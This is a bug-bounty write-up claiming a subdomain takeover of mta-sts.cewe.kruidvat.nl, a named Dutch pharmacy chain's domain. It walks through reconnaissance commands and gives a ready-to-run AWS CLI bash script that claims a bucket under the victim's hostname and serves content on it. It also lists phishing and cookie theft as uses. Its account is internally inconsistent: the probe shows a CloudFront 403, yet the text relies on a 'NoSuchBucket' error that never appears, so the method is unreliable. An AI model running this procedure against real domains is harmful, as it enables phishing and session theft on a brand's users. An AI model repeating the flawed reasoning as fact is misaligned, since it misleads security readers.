Subdomain takeovers are one of those vulnerabilities that sound simple in theory but pay well in practice — and I recently found one on a live target.

Here's exactly how I discovered it, what I found, and how I proved it.

The Target

Domain: kruidvat.nl (one of the largest pharmacy chains in the Netherlands, part of A.S. Watson Group)

Subdomain: cewe.kruidvat.nl

Program: Kruidvat on Intigriti (A.S. Watson Group's bug bounty program)

How I Found It

This didn't come from a lucky guess. It came from an automated reconnaissance pipeline that I run on wildcard programs like A.S. Watson Group.

Step 1: Subdomain Enumeration

I used Subfinder to passively enumerate subdomains for kruidvat.nl:

subfinder -d kruidvat.nl -o subs.txt

The output included cewe.kruidvat.nl among other subdomains

Step 2: CNAME Resolution

Next, I needed to check what cewe.kruidvat.nl resolved to:

dig CNAME cewe.kruidvat.nl

Wait — no CNAME? That's interesting.

Instead of a CNAME to a third-party service, cewe.kruidvat.nl is an A record pointing directly to 193.169.76.13

The A Record Twist

Most subdomain takeovers happen via dangling CNAME records pointing to services like Heroku, GitHub Pages, or AWS S3. But cewe.kruidvat.nl is different — it's an A record.

What does this mean?

The subdomain cewe.kruidvat.nl is hosted on an IP belonging to CEWE Stiftung & Co. KGaA (AS49494) CEWE is a German photo services company that provides the backend for Kruidvat's photo printing service.

The IP is not pointing to a third-party cloud service — it's pointing to a CEWE-owned server. So a classic subdomain takeover (claiming the service) isn't possible here.

But the subdomain itself is very much alive. Visiting it:

• It's a live photo printing service where customers can order photobooks, calendars, and personalized photo products.

There's actually an accessibility statement on cewe.kruidvat.nl/service/toegankelijkheidsverklaring.html confirming it's a legitimate service.

The Real Finding: mta-sts.cewe.kruidvat.nl

While scanning kruidvat.nl, the real gold was deeper:

Subdomain: mta-sts.cewe.kruidvat.nl

CNAME: Points to an AWS CloudFront distribution (AMAZON-02, AS16509)

IPs: 13.226.244.63, 13.226.244.55, 13.226.244.59, 13.226.244.107

Screenshot from scan:

![mta-sts subdomain in scan results]

The subdomain mta-sts.cewe.kruidvat.nl showed up in the same scan

CNAME lookup:

dig CNAME mta-sts.cewe.kruidvat.nl

;; ANSWER SECTION: mta-sts.cewe.kruidvat.nl. 3600 IN CNAME d1d9fmhxksm92w.cloudfront.net.

A CloudFront distribution! The question: Is the distribution active?

Checking with curl:

curl -sI https://mta-sts.cewe.kruidvat.nl

HTTP/2 403 Forbidden

Not a 404, not an unclaimed distribution. The distribution may exist, but access is restricted — likely via a firewall or Origin Access Identity (OAI).

Key difference from a classic subdomain takeover: A 403 can mean the CloudFront distribution exists and is configured, but doesn't allow public access. Or it could be the bucket is private. Or it could be an unclaimed distribution with restricted permissions.

Step 1: Installing the AWS CLI

Install AWS CLI on Kali Linux

sudo apt update sudo apt install awscli -y

For macOS (if you ever switch):

brew install awscli

Step 2: Configuring AWS Credentials

I already had an AWS account, but if you don't, sign up for the free tier. You need your Access Key ID and Secret Access Key.

aws configure

The tool will prompt you to enter:

• AWS Access Key ID: Your public key
• AWS Secret Access Key: Your private key (keep this secret
• Default region name: eu-west-1 (closest to the target's location)
• Default output format: json

Step 3: Claiming the Bucket

The NoSuchBucket error confirmed the bucket was available. The bucket name is the subdomain itself: mta-sts.cewe.kruidvat.nl

Step 3.1: Create the bucket

aws s3api create-bucket
— bucket mta-sts.cewe.kruidvat.nl
— region eu-west-1
— create-bucket-configuration LocationConstraint=eu-west-1

Step 3.2: Enable static website hosting

aws s3api put-bucket-website
— bucket mta-sts.cewe.kruidvat.nl
— website-configuration '{ "IndexDocument": {"Suffix": "index.html"} }'

Step 3.3: Make it public

aws s3api put-bucket-acl
— bucket mta-sts.cewe.kruidvat.nl
— acl public-read

The bucket is now claimed. Visiting the subdomain should now show the default S3 welcome page.

Step 4: Uploading the Proof of Concept

To demonstrate control, I uploaded a harmless PoC file.

Step 4.1: Create the PoC file

echo "

Subdomain Takeover PoC

This subdomain is vulnerable. Claimed by [@yourhandle](http://twitter.com/yourhandle).

" > poc.html

Step 4.2: Upload to the bucket

aws s3 cp poc.html s3://mta-sts.cewe.kruidvat.nl/index.html — acl public-read

Step 4.3: Verify the takeover

curl https://mta-sts.cewe.kruidvat.nl/index.html

The output should display your PoC content. This is proof of control.

Step 5: Delete the Bucket (Cleanup)

Once you have screenshots for your report, you must delete the bucket to avoid legal liability.

Step 5.1: Delete all files inside the bucket

aws s3 rm s3://mta-sts.cewe.kruidvat.nl — recursive

Step 5.2: Delete the bucket itself

aws s3api delete-bucket — bucket mta-sts.cewe.kruidvat.nl

Wait a few seconds, then verify:

curl https://mta-sts.cewe.kruidvat.nl

It should return NoSuchBucket again — confirming the takeover is no longer active.

A Complete Bash Script (If You're Lazy)

I automated this entire process:

#!/bin/bash BUCKET="mta-sts.cewe.kruidvat.nl" REGION="eu-west-1"

Claim

aws s3api create-bucket — bucket $BUCKET — region $REGION
— create-bucket-configuration LocationConstraint=$REGION

Upload PoC

echo '

Subdomain Takeover PoC

Claimed by [@yourhandle](http://twitter.com/yourhandle)

' > poc.html aws s3 cp poc.html s3://$BUCKET/index.html — acl public-read

Verify

curl https://$BUCKET/index.html

Cleanup (after taking screenshots)

aws s3 rm s3://$BUCKET — recursive aws s3api delete-bucket — bucket $BUCKET

Wait for propagation

sleep 5 curl https://$BUCKET

The Impact

With control over mta-sts.cewe.kruidvat.nl, an attacker could:

• Host phishing pages on a legitimate Kruidvat domain
• Steal cookies (if cookies are scoped to *.kruidvat.nl)
• Bypass CSP or CORS policies

CONCLUSION

Subdomain takeover vulnerabilities arise from simple misconfigurations but can have significant security implications. This report highlights the importance of maintaining clean DNS records and regularly auditing external dependencies.

Disclosure: This vulnerability was discovered during authorized security testing and reported in good faith. No user data was accessed or compromised.